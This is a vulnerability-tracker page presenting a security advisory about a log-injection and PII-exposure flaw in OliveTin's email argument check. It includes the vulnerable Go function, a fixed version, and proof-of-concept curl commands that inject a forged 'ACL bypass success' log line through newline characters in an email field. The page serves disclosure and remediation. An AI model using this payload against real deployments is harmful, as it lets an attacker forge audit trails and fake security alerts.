GHSA-xx6g-43w2-9g6g: OliveTin's email argument makes compliance harder, enables log injection
Noroxi assessment
Priority: Monitor (action score 0/100)
- The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
- Anyone who can reach it over the internet can trigger it. No account or password is required. No user action is required. No special conditions are required; it is repeatable.
- Fixed version: github.com/OliveTin/OliveTin (Go) 3000.11.3.
Low priority for now. Upgrade to github.com/OliveTin/OliveTin (Go) 3000.11.3 or later.
Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it
Primary sources: OSV
### Summary The typeSafetyCheckEmail() function in service/internal/executor/arguments.go calls log.Errorf() on every invocation including when validation succeeds (err == nil). This means every email address submitted by any user is written to the application's ERROR-level log unconditionally. Because the raw user-supplied value is logged without sanitization, an attacker can inject newline characters to forge arbitrary structured log entries (log injection). In deployments using centralized logging (ELK, Splunk, Grafana), the injected lines are parsed as real events, enabling fake security alerts, audit trail manipulation, and persistent misdirection of incident response. ### Details File: service/internal/executor/arguments.go Line: 254 Version confirmed: 3000.11.1 ### Vulnerable code ```go func typeSafetyCheckEmail(value string) error { _, err := mail.ParseAddress(value) log.Errorf("Email check: %v, %v", err, value) if err != nil { return err } return nil } ``` The log.Errorf call was likely introduced as a debug statement during development and was never removed before release. It has three distinct security consequences: 1. PII Exposure via ERROR logs Every email address (valid or invalid) submitted to any action with type: email is written to the ERROR log. In production deployments, ERROR logs are typically forwarded to centralized systems (Splunk, ELK, Datadog) and retained long-term. Email addresses constitute PII under 3. Log Injection The %v format verb renders the raw value string without escaping newlines or control characters. An attacker who can reach any action with a type: email argument can send: `alice@example.com\nlevel="error" msg="ACL bypass success" username="admin"` OliveTin writes two lines to the log. Structured log parsers (logfmt, JSON) treat the second line as an independent real event. This enables: - Forged security alerts that trigger real PagerDuty/Opsgenie pages - Audit trail manipulation hiding real events among noise - False positives that exhaust on-call responder attention (alert fatigue) 4. Alert Fatigue Because even successful validations emit ERROR-level entries, any production deployment with email-type actions generates continuous spurious error alerts. Monitoring systems configured to alert on level=error will fire on every normal form submission. Affected execution: mode: exec: only The shell: execution mode blocks email type arguments via checkShellArgumentSafety() before typeSafetyCheckEmail() is ever reached. The vulnerability is only reachable when the action uses exec: mode which is the recommended and documented mode for email-type arguments (OliveTin explicitly instructs users to use exec: with email type). ## PoC ### Get the binding ID ```bash BINDING=$(curl -s -X POST http://localhost:1337/api/GetDashboard \ -H "Content-Type: application/json" -d '{}' | \ python3 -c " import sys,json d=json.load(sys.stdin) def f(o): if isinstance(o,dict): a=o.get('action') if a and isinstance(a,dict): for arg in a.get('arguments',[]): if arg.get('type')=='email': print(a['bindingId']) [f(v) for v in o.values()] elif isinstance(o,list): [f(i) for i in o] f(d)") echo "Binding: $BINDING" ``` ### Trigger PII exposure (valid email --> ERROR log): ```bash curl -s -X POST http://localhost:1337/api/StartAction \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"alice@example.com\"}]}" ``` ### Observed server log (confirmed on 3000.11.1): ```bash docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5 level="error" msg="Email check: <nil>, alice@example.com" level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\"" level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin" level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\"" level="error" msg="Email check: <nil>, alice@example.com" ``` ### Trigger log injection: ```bash curl -s -X POST http://localhost:1337/api/StartAction \ -H "Content-Type: application/json" \ -d "{\"bindingId\":\"$BINDING\",\"arguments\":[{\"name\":\"recipient\",\"value\":\"a@b.com\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\"}]}" ``` ### Observed server log injected line appears as a real event: ```bash docker logs olivetin-test 2>&1 | grep -E "Email check|ACL_bypass" | tail -5 level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\"" level="error" msg="Email check: mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\", a@b.com\nlevel=error msg=ACL_bypass username=admin" level="warning" msg="mail: expected single address, got \"\\nlevel=error msg=ACL_bypass username=admin\"" level="error" msg="Email check: <nil>, alice@example.com" level="error" msg="Email check: mail: expected single address, got \"\\nlevel=\\\"error\\\" msg=\\\"ACL bypass success\\\" username=\\\"admin\\\"\", a@b.com\nlevel=\"error\" msg=\"ACL bypass success\" username=\"admin\"" ``` ### Impact - End users whose email addresses are stored in ERROR logs without consent GDPR/CCPA violation risk for operators - Security operations teams whose SIEM/log aggregation systems can be fed forged events by any user who can submit email-type action arguments - On-call engineers subjected to continuous false positive ERROR alerts from valid form submissions - Operators who use type: email for informal token/API key validation those secrets appear in ERROR logs ### Recommendation ```go func typeSafetyCheckEmail(value string) error { _, err := mail.ParseAddress(value) if err != nil { log.WithField("type", "email").Debugf("Email argument type check failed") return err } return nil } ``` `Only log on failure, at DEBUG level, and never log the value itself.`
- Published
- Mar 12, 2026
- Updated
- Mar 23, 2026
- EPSS
- —
- CWE
- CWE-117
Report tools
Action score
0
Low priority for now.
- CVSS
- 0 / 40 · —
- CISA KEV
- 0 / 30 · Not listed
- EPSS
- 0 / 30 · —
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- Not in KEV: no record of exploitation in the wild
- No public exploit code on record
- A fix has been released
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We use this product, ask for helpAffected systems
Is your version affected?
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| Vendor | Product | CPE |
|---|---|---|
| Go | github.com/OliveTin/OliveTin | pkg:golang/github.com/OliveTin/OliveTin |
Package-level exposure
OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.
| Ecosystem | Package | Affected range | Fix |
|---|---|---|---|
| Go | github.com/OliveTin/OliveTin | from 0 | — |
| Go | github.com/OliveTin/OliveTin | before 3000.11.3 | 3000.11.3 |
Same product
Go: all recordsOther highest-scoring records for the same primary product.
- GHSA-fwhj-785h-43hhOliveTin has crash on NPE by calling APIs with invalid bindings or log references21Monitor
- GO-2026-4687OliveTin's email argument makes compliance harder, enables log injection in github.com/OliveTin/OliveTin0Monitor
- GO-2026-4621OliveTin has crash on NPE by calling APIs with invalid bindings or log references in github.com/OliveTin/OliveTin0Monitor
Remediation
Which version to upgrade to
Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.
| Product / package | Fixed version | Source |
|---|---|---|
| Go:github.com/OliveTin/OliveTin | 3000.11.3 | Package registry (OSV) |
Exploit status
No known public exploit
No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.
Research context
For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.
Timeline
From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.
No dated events beyond publication.
Patch and commit links
Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.
Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.
Technical details
Attack conditions
- Anyone who can reach it over the internet can trigger it.
- No account or password is required.
- No user action is required.
- No special conditions are required; it is repeatable.
If successful
- Confidentiality
- Integrity
- Availability
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
Weakness class (CWE)
CWE-117 · Improper Output Neutralization for LogsCVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
osv
Attack context
MITRE CAPEC attack patterns and ATT&CK techniques for this weakness class (CWE). A starting point for detection rules and threat hunting.
Attack patterns (CAPEC)
Change log (2)
- Fix✗ → ✓
- CVSS5.5 → —
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References
Show all references (3 more)Show less
Vendor advisories and official records. Exploit/PoC links are deliberately left out.